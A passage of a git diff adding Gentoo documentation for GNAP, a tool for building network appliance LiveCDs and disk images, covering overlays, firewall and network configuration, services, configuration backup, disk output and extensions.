+ <ti>List of elements to remove in the resulting filesystem.</ti>
+</tr>
+<tr>
+ <ti>livecd/rcadd</ti>
+ <ti>List of services that should be started systematically at boot.</ti>
+</tr>
+<tr>
+ <ti>livecd/rcdel</ti>
+ <ti>List of services that baselayout and LiveCDs run by default but you
+ don't want to run.</ti>
+</tr>
+<tr>
+ <ti>livecd/cdtar</ti>
+ <ti>File to use as the Catalyst cdtar file. When you upgrade Catalyst
+ versions, the version number of the cdtar file can change. You must edit the
+ value of the cdtar directive to match.</ti>
+</tr>
+</table>
+
+<note>
+There are other parameters which you should probably not change. See the
+Catalyst docs for more information about them.
+</note>
+
+</body>
+</section>
+<section>
+<title>root_overlay directory</title>
+<body>
+
+<p>
+This directory contains files that will be copied on the resulting filesystem
+during <c>livecd-stage2</c>. It is used as the value for the
+<e>livecd/root_overlay:</e> directive in the livecd-stage2 Catalyst specfile.
+</p>
+
+</body>
+</section>
+<section>
+<title>fsscript</title>
+<body>
+
+<p>
+This file is an executable bash script that will be run in <c>livecd-stage2</c>
+to update the resulting filesystem. It is used as the value for the
+<e>livecd/fsscript:</e> directive in the livecd-stage2 Catalyst specfile.
+</p>
+
+</body>
+</section>
+<section>
+<title>isolinux directory</title>
+<body>
+
+<p>
+The isolinux directory contains files that will be used as parameters in the
+syslinux and isolinux calls used to make GNAP bootable:
+</p>
+
+<table>
+<tr>
+ <th>File</th>
+ <th>Purpose</th>
+</tr>
+<tr>
+ <ti>boot.msg</ti>
+ <ti>ASCII boot splash to use.</ti>
+</tr>
+<tr>
+ <ti>isolinux.cfg</ti>
+ <ti>ISOLINUX configuration file, used when making an ISO file bootable.</ti>
+</tr>
+<tr>
+ <ti>syslinux.cfg</ti>
+ <ti>SYSLINUX configuration file, used when making a target disk bootable.</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>extensions.conf</title>
+<body>
+
+<p>
+This file contains the list of extensions to build, with directives on how
+to build and package each of them. It will be used to build specfiles for
+Catalyst grp stages.
+</p>
+
+<table>
+<tr>
+ <th>Parameter</th>
+ <th>Value</th>
+ <th>Example</th>
+</tr>
+<tr>
+ <ti>extensions</ti>
+ <ti>List of the extensions names to build.</ti>
+ <ti>extensions: boa myext</ti>
+</tr>
+<tr>
+ <ti>[name]/packlist</ti>
+ <ti>List of the Gentoo packages to build in the extension. This will also
+     pull any needed dependency.</ti>
+ <ti>myext/packlist: squid</ti>
+</tr>
+<tr>
+ <ti>[name]/useflags</ti>
+ <ti>Specific USE flags to enable while building the extension. This is an
+     optional parameter.</ti>
+ <ti>myext/useflags: ipv6</ti>
+</tr>
+<tr>
+ <ti>[name]/cleanup</ti>
+ <ti>List of the directories or files to remove from built extension. Keep
+     GNAP small, remove all unnecessary stuff !</ti>
+ <ti>myext/cleanup: /usr/share</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/embedded/gnap-userguide.xml b/xml/htdocs/proj/en/base/embedded/gnap-userguide.xml
new file mode 100644
index 00000000..6ed614e2
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/gnap-userguide.xml
@@ -0,0 +1,996 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/base/embedded/gnap-userguide.xml">
+<title>Gentoo Network Appliance (GNAP) User Guide</title>
+<author title="Author">
+  <mail link="koon@gentoo.org">Thierry Carrez</mail>
+</author>
+
+<abstract>
+This document describes how to use GNAP, a tool to produce Network
+Appliance systems based on Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>2.0</version>
+<date>April 20, 2006</date>
+
+<chapter>
+<title>GNAP basics</title>
+<section>
+<title>Goal</title>
+<body>
+
+<p>
+The goal is to use your current Gentoo system (called the <e>host</e>)
+to build a LiveCD or a disk with a bootable Network Appliance system, complete
+with customized configuration files, that you can use to boot another system
+(called the <e>target</e>).
+</p>
+
+<p>
+GNAP provides a prebuilt system image, called the <e>GNAP core</e>. You can
+modify the default configuration of this image by providing new configuration
+files that will be overlaid over the system image during the target boot.
+</p>
+
+<p>
+The <c>gnap_overlay</c> script takes a GNAP core tarball and one or more
+<e>overlay sources</e> and either produces a bootable LiveCD .iso file, or
+writes a bootable filesystem to a disk device (typically a CompactFlash card
+or DOM):
+</p>
+
+<figure link="gnap_overlay.png" short="gnap_overlay principle"
+        caption="How gnap_overlay works"/>
+
+</body>
+</section>
+<section>
+<title>The overlay sources</title>
+<body>
+
+<p>
+There are two types of overlay sources you can use with
+<c>gnap_overlay</c>: directories and <e>conflet</e> files.
+</p>
+
+<p>
+Overlay directories are just directories containing files that will be copied
+over the root filesystem during the target boot. The root of the directory
+corresponds to the root of the target filesystem, so it typically contains
+an <path>etc/</path> subdirectory containing files that will be copied over
+the <path>/etc</path> target directory.
+</p>
+
+<p>
+<e>Conflet</e> files are just .tar.bz2 compressed tarballs containing an
+overlay directory. They usually contain typical reusable configuration changes,
+making it easier to maintain several configurations.
+</p>
+
+<impo>
+At the moment only the <path>/etc</path>, <path>/var</path>, <path>/tmp</path>,
+<path>/home</path>, <path>/root</path> and <path>/mnt</path> target directories
+are writable on the target at boot time, meaning your overlay sources cannot
+specify files outside these directories.
+</impo>
+
+</body>
+</section>
+<section>
+<title>The overlay.conf file</title>
+<body>
+
+<p>
+The <e>overlay.conf</e> file controls general target customization options,
+like localization options and which features should be enabled on your GNAP
+target. It must be present either in an overlay source (as
+<path>etc/overlay.conf</path>) or directly specified as a <c>-c</c> parameter
+to <c>gnap_overlay</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Your first GNAP LiveCD</title>
+<section>
+<title>Installing GNAP</title>
+<body>
+
+<p>
+GNAP is available through Gentoo Portage. Simply emerge it using (as root):
+</p>
+
+<pre caption="GNAP installation">
+# emerge gnap
+</pre>
+
+<warn>
+GNAP might only be available in "~x86". Adjust your
+<path>/etc/portage/package.keywords</path> file if needed.
+</warn>
+
+<note>
+This will fetch the GNAP core file, which is usually quite large (~14Mb). You
+can set the "minimal" USE flag if you don't want to download the GNAP core,
+but only install the GNAP tools.
+</note>
+
+<note>
+Users of other flavors of Linux should refer to the
+<uri link="">Using GNAP on non-Gentoo hosts</uri> guide.
+</note>
+
+</body>
+</section>
+<section>
+<title>Preparing your overlays and overlay.conf</title>
+<body>
+
+<p>
+For this tutorial, we'll use GNAP to produce a bootable Firewall LiveCD that
+will filter traffic and do NAT for a small LAN. We'll need to activate these
+features in <e>overlay.conf</e> and overlay files for the network and firewall
+configuration.
+</p>
+
+<note>
+You don't need root rights to produce a GNAP LiveCD.
+</note>
+
+<p>
+First of all, create a directory that will serve as the root for the overlay
+directory, and create the <path>etc/</path>, <path>etc/conf.d/</path> and
+<path>etc/firehol/</path> subdirectories:
+</p>
+
+<pre caption="Preparing overlay directories">
+$ mkdir myoverlay
+$ mkdir myoverlay/etc
+$ mkdir myoverlay/etc/conf.d
+$ mkdir myoverlay/etc/firehol
+</pre>
+
+<p>
+Then we create the network configuration file (<path>etc/conf.d/net</path>),
+for an external address of 111.222.111.47 (gateway 111.222.111.254) and a LAN
+on 192.168.1.*. This file follows the Gentoo syntax described in the
+<path>/etc/conf.d/net.example</path> file on your host system:
+</p>
+
+<pre caption="myoverlay/etc/conf.d/net contents">
+# Use iproute2-style configuration
+modules=( "iproute2" )
+
+# The external interface
+ipaddr_eth0=( "111.222.111.47/24" )
+iproute_eth0=( "default via 111.222.111.254" )
+
+# The internal interface
+ipaddr_eth1=( "192.168.1.254/24" )
+</pre>
+
+<p>
+Then we create the firehol configuration file that we'll use as a firewall,
+allowing all traffic out of the LAN but no traffic in:
+</p>
+
+<pre caption="myoverlay/etc/firehol/firehol.conf contents">
+version 5
+interface eth0 internet
+interface eth1 lan
+router lan2internet inface eth1 outface eth0
+  masquerade
+  route all accept
+</pre>
+
+<p>
+Finally, we need to write an <e>overlay.conf</e> file to tell GNAP that it
+will use two network cards, and start a firehol firewall script at startup:
+</p>
+
+<pre caption="myoverlay/etc/overlay.conf contents">
+# Use two network cards
+NBCARDS=2
+
+# Start the 'firehol' firewall script at startup
+USE_FW=yes
+FW_TYPE=firehol
+</pre>
+
+</body>
+</section>
+<section>
+<title>Generating the .iso file, burning it to CD-R</title>
+<body>
+
+<p>
+The next step is to use <c>gnap_overlay</c> to combine the
+<path>myoverlay</path> overlay directory and the GNAP core to produce a
+myfirewall.iso file containing the target LiveCD image. This is done using
+the command:
+</p>
+
+<pre caption="Creating the .iso file">
+$ gnap_overlay -i myfirewall.iso -o myoverlay/
+</pre>
+
+<p>
+You should burn the resulting myfirewall.iso image onto a CD-R (or better, a
+CD-RW) using your favorite CD burning tool, for example:
+</p>
+
+<pre caption="Burning the .iso file, YMMV">
+$ cdrecord -v -eject speed=4 dev=/dev/hdc myfirewall.iso
+</pre>
+
+</body>
+</section>
+<section>
+<title>Testing the resulting GNAP system</title>
+<body>
+
+<p>
+Once the CD-R is ready, take it to the target system and use it to boot.
+Low-end systems are OK, GNAP should boot successfully on 486 systems with as
+low as 32 Mb RAM.
+</p>
+
+<note>
+The BIOS of the target system should of course be configured to boot on CD-ROM.
+</note>
+
+<p>
+During boot, you can see the GNAP-specific messages, while the GNAP initscript
+(found as <path>/etc/init.d/overlay</path> on the target system) takes care of
+overlaying files and processing the <e>overlay.conf</e> options.
+If the configuration is not OK, you can change the contents of your
+<path>myoverlay/</path> directory, rebuild an .iso image, burn it again, and
+restart the target system with the new LiveCD.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>More customization</title>
+<section>
+<title>Overlay maintenance</title>
+<body>
+
+<p>
+In the previous section, we used a single overlay source (the
+<path>myoverlay/</path> directory), making it difficult to manage multiple
+system configurations which share common features. <c>gnap_overlay</c> accepts
+multiple <c>-o</c> options, so you can use multiple directories and
+<e>conflet</e> files to form a single configuration:
+</p>
+
+<pre caption="Using multiple overlay sources">
+$ gnap_overlay -i myfirewall.iso -o common/ -o specific/ -o mypublickey.tbz2
+</pre>
+
+<p>
+Rather than including an <path>etc/overlay.conf</path> file in one of your
+overlay sources, it is possible to specify the name of a file to use as
+<e>overlay.conf</e> in your GNAP system, using the <c>-c</c> option:
+</p>
+
+<pre caption="Using a separate overlay.conf file">
+$ gnap_overlay -i myfirewall.iso -c firewall.conf -o overlay2/
+</pre>
+
+<p>
+To keep track of configuration changes, it is possible to use CVS directly
+on the overlay directories. <c>gnap_overlay</c> will automatically ignore
+the CVS control directories and not copy them onto the target system.
+</p>
+
+</body>
+</section>
+<section>
+<title>Internationalization</title>
+<body>
+
+<p>
+Two options in <e>overlay.conf</e> control the timezone (default being
+UTC) and the keymap (default being 'us' keyboard layout) used on the target
+system:
+</p>
+
+<ul>
+<li>TIMEZONE: If you want to use another timezone than UTC, you should check
+  <uri link="http://leaf.sourceforge.net/doc/guide/buci-tz.html">this page</uri>
+  to determine the appropriate uclibc-compliant timezone code.</li>
+<li>KEYMAP: If you want to log on locally, you might need to change the default
+  keyboard layout ('us') to something more appropriate. There is a complete
+  tree of keymaps in /usr/share/keymaps to choose from.</li>
+</ul>
+
+<pre caption="overlay.conf internationalization options example">
+# Use Central European Time (UTC+1) with usual Summer Time rules
+TIMEZONE=CET-1CEST
+
+# Use a french keyboard layout
+KEYMAP=fr
+</pre>
+
+</body>
+</section>
+<section>
+<title>Network configuration</title>
+<body>
+
+<p>
+We already know about the NBCARDS option in <e>overlay.conf</e>, which
+specifies how many network cards should be started, and that we need to provide
+an <path>etc/conf.d/net</path> file in our overlays to give the static network
+configuration details. Here are the other options and typical overlay files
+that you can use in further detailing the network configuration:
+</p>
+
+<ul>
+<li>IP_RELAY: Should be set to yes if you want to relay IP between your network
+  interfaces. Useful if you want to run a gateway without a firewall
+  script.</li>
+<li>NTPSERVER: Allows to specify the name of an NTP server to use as a time
+  source to maintain correct time on the target system.</li>
+<li>USE_PPPOE: Indicates that the rp-pppoe should be started during boot.</li>
+<li><path>etc/resolv.conf</path>: This file should contain the DNS
+  configuration for the system.</li>
+<li><path>etc/hosts</path>: Complementary or alternatively to
+  <path>etc/resolv.conf</path>, this file will contain static hostnames
+  resolution information.</li>
+<li><path>etc/conf.d/hostname</path>: This file can be specified to give a
+  specific hostname to the target. The <path>etc/hosts</path> file should be
+  adapted accordingly.</li>
+</ul>
+
+<note>
+If you don't specify an <path>etc/conf.d/net</path> configuration, the system
+will use DHCP to get the network configuration for the missing interfaces.
+</note>
+
+</body>
+</section>
+<section>
+<title>Firewall, traffic control</title>
+<body>
+
+<p>
+Enabling a firewall script is controlled by the USE_FW=yes option. By default,
+GNAP will use <uri link="http://www.shorewall.net/">Shorewall</uri>, an
+excellent and very complete iptables helper. You can set the FW_TYPE=firehol
+option to switch to <uri link="http://firehol.sourceforge.net/">Firehol</uri>,
+a simpler yet efficient script.
+</p>
+
+<p>
+If you use Shorewall, you should overlay files in the <path>etc/shorewall</path>
+directory to customize its behavior, in particular you should have to change
+the <path>interfaces</path>, <path>zones</path>, <path>policy</path> and
+<path>shorewall.conf</path> files. If you decide to use Firehol, you'll have
+to customize the <path>etc/firehol/firehol.conf</path> file.
+</p>
+
+<p>
+You can enable a traffic control script using the USE_TC=yes option. By default,
+GNAP will use <uri link="http://sourceforge.net/projects/cbqinit">cbqinit</uri>,
+a simple but sometimes inefficient traffic control helper. You can set the
+TC_TYPE=htbinit option to switch to
+<uri link="http://sourceforge.net/projects/htbinit">htbinit</uri>,
+a more complex but more efficient script.
+</p>
+
+<p>
+If you use cbqinit, you should overlay files in the <path>etc/cbqinit</path>
+directory to customize its behavior, following the instructions given in
+<path>/usr/sbin/cbqinit</path>. If you decide to use htbinit, you'll have
+to create files in <path>etc/htbinit</path> following the instructions given
+in <path>/usr/sbin/htbinit</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>GNAP services</title>
+<body>
+
+<p>
+GNAP offers several standard services. The first is the
+<uri link="http://matt.ucc.asn.au/dropbear/dropbear.html">Dropbear</uri>
+SSH server, which allows remote control of the GNAP system.
+You enable it using the USE_SSH=yes option. Dropbear behaviour is
+controlled using the <path>etc/conf.d/dropbear</path> file. You might
+want to overlay prebuilt RSA/DSS keys for the server in
+<path>etc/dropbear</path> (so that they are not rebuilt after each boot).
+</p>
+
+<p>
+Another service is the
+<uri link="http://thekelleys.org.uk/dnsmasq/doc.html">DnsMasq</uri>
+DNS cache / DHCP server, which provides DNS resolution and DHCP
+capabilities to a LAN. You enable it using the USE_DNSDHCP=yes option, and
+you configure it through the <path>etc/dnsmasq.conf</path> file.
+</p>
+
+<p>
+Another service that GNAP provides by default is the
+<uri link="http://openvpn.net/">OpenVPN</uri> VPN solution. This is a simple
+but full-featured VPN solution that will help you securely bridge LANs over
+insecure networks. You enable it using the USE_VPN=yes option, in which case
+you should overlay files in the <path>etc/openvpn</path> directory
+with the desired OpenVPN configuration.
+</p>
+
+<p>
+Finally, you can specify extra services to start when GNAP is booted.
+There are two ways to do this: using the START_SERVICES option in
+<e>overlay.conf</e> or using the <path>etc/gnap/start_services</path>
+file:
+</p>
+
+<pre caption="Specifying the iptables and boa services using overlay.conf">
+# Start iptables and boa at startup
+START_SERVICES="iptables boa"
+</pre>
+
+<pre caption="etc/gnap/start_services contents, will start iptables and boa">
+iptables boa
+</pre>
+
+</body>
+</section>
+<section>
+<title>Accounts and passwords</title>
+<body>
+
+<p>
+GNAP runs happily as a blackbox appliance by default. However, you might want
+to be able to log onto it. By default, it doesn't define user accounts, and the
+root account has an impossible password, making it impossible to log in. There
+are several ways to change this behaviour:
+</p>
+
+<p>
+You can set an empty root password, useful in test configurations for example,
+using the EMPTY_ROOTPASS=yes option.
+</p>
+
+<p>
+The most secure way to access the GNAP box is to run the Dropbear SSH server
+in public key mode. You will need to configure Dropbear to disable password
+logins (in <path>etc/conf.d/dropbear</path>) and put your own public key
+to the <path>root/.ssh/authorized_keys</path> file:
+</p>
+
+<pre caption="etc/conf.d/dropbear contents to disable password auth">
+DROPBEAR_OPTS="-s"
+</pre>
+
+<note>
+The <path>/usr/lib/gnap/examples/conflets/dropbear_nopasswd.tbz2</path> file,
+installed during the GNAP installation, is a conflet file containing
+the necessary <path>etc/conf.d/dropbear</path> overlay file.
+</note>
+
+<p>
+If you still want to change passwords for system users, you can do it by
+overlaying a <path>etc/gnap/chpasswd</path> file containing
+username:cryptedpassword lines that will be fed to <c>chpasswd -e</c> during
+boot. See <c>man chpasswd</c> for details on the format of that file.
+</p>
+
+</body>
+</section>
+<section>
+<title>Support for saving live configuration changes</title>
+<body>
+
+<p>
+One problem you will have with GNAP systems using evolving configurations
+(like firewalls) is that all live config changes will be lost at the next
+reboot. One solution is to report all changes to the host system overlay
+directories and be sure to burn a new CD-R with the new configuration before
+the next reboot, but it's not very practical. Another solution is to use a
+read/write partition and use the RW_SYNC system to backup the changes and
+have them taken into account at next reboot automatically.
+</p>
+
+<p>
+To enable this system, you should add the RW_SYNC option to your
+<e>overlay.conf</e> file, pointing to the r/w partition you want to use.
+GNAP supports FAT and ext2 partitions:
+</p>
+
+<pre caption="RW_SYNC value to backup to floppy disk">
+RW_SYNC=/dev/fd0
+</pre>
+
+<p>
+During the first boot, when the option is activated but no backup file is
+present on the RW_SYNC partition yet, you'll get the following error during
+the target system boot, which you can safely ignore:
+</p>
+
+<pre caption="First-time RW_SYNC safe errors">
+* Sync rw-sync changes to /dev/fd0 ...
+* Missing gnap_sav.tgz or gnap_md5.sum file : aborting             [ !! ]
+</pre>
+
+<p>
+Once the RW_SYNC option is enabled, you can use the <c>rw-sync.sh</c> utility
+on the GNAP target system to specify which files to save. You only need to
+specify the files once so that they are added to the rw-sync.cfg file for
+subsequent backups.
+</p>
+
+<impo>
+Don't forget to add the <path>/etc/rw-sync.cfg</path> file to the backup list
+so that it is restored at next reboot !
+</impo>
+
+<pre caption="Specifying files and directories to backup">
+# rw-sync.sh -a /etc/rw-sync.cfg
+# rw-sync.sh -a /etc/shorewall/
+</pre>
+
+<p>
+Then you can backup the files anytime after a change using the following
+command:
+</p>
+
+<pre caption="Backup to the r/w partition">
+# rw-sync.sh -w
+</pre>
+
+<p>
+For more help on <c>rw-sync.sh</c>, just run it without any option to show
+the help contents.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Disk output</title>
+<section>
+<title>Objectives and requirements</title>
+<body>
+
+<p>
+In the previous chapters, we used GNAP to produce a bootable LiveCD with
+a customized network appliance system on it. We can also use GNAP to
+initialize a disk device with a customized network appliance filesystem,
+ready to be plugged in a target system and booted.
+</p>
+
+<p>
+This mode of operation can be used to initialize hard disks that can be
+plugged in low-end systems, but is especially useful for small device
+targets like <uri link="http://www.soekris.com/">Soekris boxes</uri>
+which can boot from a CompactFlash card, or other embedded systems
+that will boot from an IDE bus (Disk-On-Module, Disk-On-Chip...).
+</p>
+
+<p>
+For this mode of operation, you'll need to run <c>gnap_overlay</c> with
+root rights to be able to manipulate the disk device at low-level. It is
+also slightly more complicated and dangerous to run, so use at your own
+risk !
+</p>
+
+</body>
+</section>
+<section>
+<title>Media preparation</title>
+<body>
+
+<p>
+Before you run <c>gnap_overlay</c> for the first time on a device, you need
+to prepare the target media. You should plug the hard disk, CF card or other
+medium you want to use on the host system and determine what is the plugged
+device's name (system log might be useful here). You don't need to mount it !
+For the remaining examples we'll suppose the target disk is available on
+the host system as <path>/dev/sdb</path>.
+</p>
+
+<p>
+If not already done, you need to partition the device. The partition where
+GNAP will install the filesystem should be marked "active" and be large
+enough to handle GNAP. In doubt, create a single partition of 16Mb,
+and activate it.
+</p>
+
+<pre caption="Partitioning the /dev/sdb target disk">
+# fdisk /dev/sdb
+</pre>
+
+<p>
+The disk should also have a Master Boot Record installed, which will allow the
+system to boot on it. If you're unsure, you can install an MBR using the
+following command:
+</p>
+
+<pre caption="Installing MBR on /dev/sdb target disk">
+# dd if=/usr/lib/gnap/mbr/mbr.bin of=/dev/sdb bs=512 count=1
+</pre>
+
+<note>
+You only need to prepare the media once, you can run multiple
+<c>gnap_overlay</c> commands on it once it has been prepared.
+</note>
+
+</body>
+</section>
+<section>
+<title>Using gnap_overlay to write to disk</title>
+<body>
+
+<p>
+In disk mode, you need to pass two options to <c>gnap_overlay</c>. One is
+the complete name of the target disk partition <e>as seen on the host
+system</e> (option <c>-d</c>), the other is the short name of the
+target disk partition <e>as seen on the target system at boot</e> (option
+<c>-r</c>). The distinction being quite important, here is an example.
+</p>
+
+<p>
+Let's say you want to install a GNAP system on a CF card, to use to boot a
+Soekris box. You plug it in the host system (the one you will run
+<c>gnap_overlay</c> on), it is recognized as <path>/dev/sdb</path>.
+You create a single partition on it, <path>/dev/sdb1</path>. So in this
+example, the complete name of the target disk partition <e>as seen on the
+host system</e> is <c>/dev/sdb1</c>.
+</p>
+
+<p>
+On the other hand, you know, from testing or specs, that the Soekris box will
+recognize a CF card plugged in it as <path>/dev/hda</path>. So the short name
+of the target disk partition <e>as seen on the target system at boot</e>
+is "hda1".
+</p>
+
+<p>
+To initialize a disk with a GNAP configuration, you just have to replace the
+<c>-i</c> option (used to build a LiveCD iso file) by the correct <c>-d</c>
+and <c>-r</c> options:
+</p>
+
+<pre caption="Initializing the /dev/sdb1 partition">
+# gnap_overlay -d /dev/sdb1 -r hda1 -o myoverlay/
+</pre>
+
+<note>
+The target disk partition (<c>-d</c> option) should not be mounted.
+<c>gnap_overlay</c> will mount it when it needs it.
+</note>
+
+</body>
+</section>
+<section>
+<title>Specific options</title>
+<body>
+
+<p>
+Two options might be useful in an embedded target situation. One is the
+<c>-m</c> optional parameter you can use to tell GNAP to cache in memory the
+filesystem once at startup to avoid multiple read access that can wear the
+device (or be too slow).
+</p>
+
+<p>
+The other is the <c>-s</c> parameter you can use
+to tell GNAP to send the console to the serial port, at the specified baudrate.
+This is especially useful for serial-port only devices like the Soekris boxes.
+</p>
+
+<pre caption="Reduce read access and use a 19200 baud serial console">
+# gnap_overlay -d /dev/sdb1 -r hda1 -o myoverlay/ -m -s 19200
+</pre>
+
+</body>
+</section>
+<section>
+<title>Writing to disk image files</title>
+<body>
+
+<p>
+You might want to write to a disk image file rather than writing directly
+a disk. This is made possible by the <c>-l</c> option: it allows to specify
+the name of the disk image file to write to. Options from disk mode (except
+the <c>-d</c> option) apply to image mode.
+</p>
+
+<pre caption="Write to the preexisting myimagefile.img disk image file">
+# gnap_overlay -l myimagefile.img -r hda1 -o myoverlay/ -m -s 19200
+</pre>
+
+<warn>
+Only one partition is supported on the disk image file !
+</warn>
+
+<p>
+Alternatively you can ask GNAP to create the disk image file using the
+<c>-L</c> option. The image file is by default 15 Mb long, you can specify an
+alternative size using the <c>-S</c> option:
+</p>
+
+<pre caption="Write to a new disk image file named newimagefile.img">
+# gnap_overlay -L newimagefile.img -S 14 -r hda1 -o myoverlay/
+</pre>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Using extensions</title>
+<section>
+<title>Extensions and remastering</title>
+<body>
+
+<p>
+You might want to add features to your GNAP network appliance system. The
+simplest way to do it is to use <e>extensions</e>, which are small software
+packages adding functionality to a GNAP system.
+</p>
+
+<p>
+Extensions are <path>.tar.bz2</path> compressed files with standardized names.
+They are installed in standard in <path>/usr/lib/gnap/extensions</path> and
+are named <path>gnapext_[name].tbz2</path>.
+The <e>boa</e> extension, for example, is in fact
+the <path>/usr/lib/gnap/extensions/gnapext_boa.tbz2</path> file.
+</p>
+
+<p>
+The <c>gnap_remaster</c> tool combines a GNAP base filesystem file, an
+existing GNAP core file and extensions to create a new GNAP core file which
+will contain the extensions you choose. Then, you can use this extended GNAP
+core file with <c>gnap_overlay</c> to create specific systems making use of
+the extra functionality.
+</p>
+
+<figure link="gnap_remaster.png" short="gnap_remaster principle"
+        caption="How gnap_remaster works"/>
+
+</body>
+</section>
+<section>
+<title>Installing the GNAP extension package</title>
+<body>
+<p>
+The GNAP extension package, which installs the <c>gnap_remaster</c> tool,
+the GNAP basefs file and standard extensions (everything needed to play with
+extensions), is available through Portage. You should install the version
+corresponding to your GNAP package version.
+</p>
+
+<pre caption="GNAP extension package installation">
+# emerge gnap-ext
+</pre>
+
+<warn>
+gnap-ext might only be available in "~x86". Adjust your
+<path>/etc/portage/package.keywords</path> file if needed.
+</warn>
+
+<note>
+This will fetch a GNAP basefs file, which is usually quite large (~9Mb). You
+can set the "minimal" USE flag if you don't want to download the basefs and
+the standard extension pack, but only install the <c>gnap_remaster</c> tool.
+</note>
+
+</body>
+</section>
+<section>
+<title>Remastering a GNAP core with extensions</title>
+<body>
+
+<p>
+You should call <c>gnap_remaster</c> with the needed extensions names, as root.
+This will build a mynewcore.tar remastered core file with the requested
+extensions added:
+</p>
+
+<pre caption="Remastering the current GNAP core, adding the boa extension">
+# gnap_remaster -e boa -o mynewcore.tar
+</pre>
+
+<note>
+You must use the extensions <e>name</e>, not the filename. You can use multiple
+<c>-e</c> options at the same time.
+</note>
+
+</body>
+</section>
+<section>
+<title>Using gnap_overlay on a specific GNAP core</title>
+<body>
+
+<p>
+It's easy to make <c>gnap_overlay</c> use your remastered core file instead
+of the standard one. Just use the <c>-g</c> option:
+</p>
+
+<pre caption="Make gnap_overlay use the remastered core file">
+$ gnap_overlay -g mynewcore.tar -i myfirewall.iso -o myoverlay/
+</pre>
+
+<note>
+<c>gnap_remaster</c> can also be used on modules you build yourself:
+extensions, minkernpackages and modulespackages. Please see the
+<uri link="gnap-advancedguide.xml">GNAP Advanced User Guide</uri>
+for more information about these features.
+</note>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>GNAP Reference</title>
+<section>
+<title>overlay.conf</title>
+<body>
+
+<table>
+<tr>
+ <th>Option</th>
+ <th>Values</th>
+ <th>Default</th>
+</tr>
+<tr>
+ <ti>EMPTY_ROOTPASS</ti>
+ <ti>If set to yes, the root password will be empty and everyone with
+     console access will be able to log as root. This should be used
+     mainly for testing purposes.</ti>
+ <ti><c>no</c></ti>
+</tr>
+<tr>
+ <ti>FW_TYPE</ti>
+ <ti>Set to <c>shorewall</c> or <c>firehol</c> depending on the firewall
+     system you want to use.</ti>
+ <ti><c>shorewall</c></ti>
+</tr>
+<tr>
+ <ti>IP_RELAY</ti>
+ <ti>Should IP relaying be active at startup ?</ti>
+ <ti><c>no</c></ti>
+</tr>
+<tr>
+ <ti>KEYMAP</ti>
+ <ti>Console keymap value.</ti>
+ <ti><c>us</c></ti>
+</tr>
+<tr>
+ <ti>NBCARDS</ti>
+ <ti>Number of connected network cards you want to start.</ti>
+ <ti><c>1</c></ti>
+</tr>
+<tr>
+ <ti>NTPSERVER</ti>
+ <ti>The name of the NTP server to use as a time synchronisation source.</ti>
+ <ti>empty (do not synchronise time using NTP)</ti>
+</tr>
+<tr>
+ <ti>RW_SYNC</ti>
+ <ti>Location of a read/write partition to use to save the modified
+     configuration files using rw_sync.sh</ti>
+ <ti>empty (do not use the RW_SYNC backup system)</ti>
+</tr>
+<tr>
+ <ti>START_SERVICES</ti>
+ <ti>List of the extra services you want to run as startup. This is
+     useful to start services from extensions (like boa).</ti>
+ <ti>empty (no extra service)</ti>
+</tr>
+<tr>
+ <ti>TC_TYPE</ti>
+ <ti>Set to <c>cbqinit</c> or <c>htbinit</c> depending on the traffic
+     control system you want to use.</ti>
+ <ti><c>cbqinit</c></ti>
+</tr>
+<tr>
+ <ti>TIMEZONE</ti>
+ <ti>The <uri link="http://leaf.sourceforge.net/doc/guide/buci-tz.html">uclibc-compliant timezone code</uri>.</ti>
+ <ti>empty (UTC)</ti>
+</tr>
+<tr>
+ <ti>USE_DNSDHCP</ti>
+ <ti>Set to <c>yes</c> to have the DNSMasq daemon run at startup.</ti>
+ <ti><c>no</c> (do not run)</ti>
+</tr>
+<tr>
+ <ti>USE_FW</ti>
+ <ti>Set to <c>yes</c> to have a firewall script run at startup.
+     See FW_TYPE option.</ti>
+ <ti><c>no</c> (do not run)</ti>
+</tr>
+<tr>
+ <ti>USE_PPPOE</ti>
+ <ti>Set to <c>yes</c> to have the rp-pppoe daemon run at startup.</ti>
+ <ti><c>no</c> (do not run)</ti>
+</tr>
+<tr>
+ <ti>USE_SSH</ti>
+ <ti>Set to <c>yes</c> to have the Dropbear daemon run at startup.</ti>
+ <ti><c>no</c> (do not run)</ti>
+</tr>
+<tr>
+ <ti>USE_TC</ti>
+ <ti>Set to <c>yes</c> to have a traffic control script run at startup.
+     See the TC_TYPE option.</ti>
+ <ti><c>no</c> (do not run)</ti>
+</tr>
+<tr>
+ <ti>USE_VPN</ti>
+ <ti>Set to <c>yes</c> to have the OpenVPN daemon run at startup.</ti>
+ <ti><c>no</c> (do not run)</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>GNAP-specific files to overlay on target system</title>
+<body>
+
+<p>
+Other than <path>etc/overlay.conf</path>, GNAP uses several additional files
+on the target system, here is their list:
+</p>
+
+<table>
+<tr>
+ <th>Overlay file</th>
+ <th>Purpose</th>
+ <th>Example contents</th>
+</tr>
+<tr>
+ <ti><path>etc/rw_sync.conf</path></ti>
+ <ti>This is the rw_sync.sh control file, listing the files and directories
+     that should be backed up. You should probably use rw_sync.sh to edit
+     its contents.</ti>
+ <ti></ti>
+</tr>
+<tr>
+ <ti><path>etc/gnap/start_services</path></ti>
+ <ti>Contains a list of (whitespace-separated) service names that the target
+     system should additionally start at boot. Those services must exist as
+     <path>/etc/init.d</path> scripts on the target system !</ti>
+ <ti><c>iptables</c></ti>
+</tr>
+<tr>
+ <ti><path>etc/gnap/chpasswd</path></ti>
+ <ti>Contains a file that will be fed to <c>chpasswd -e</c> at boot to
+     initialize passwords on the system. It should contain a list of
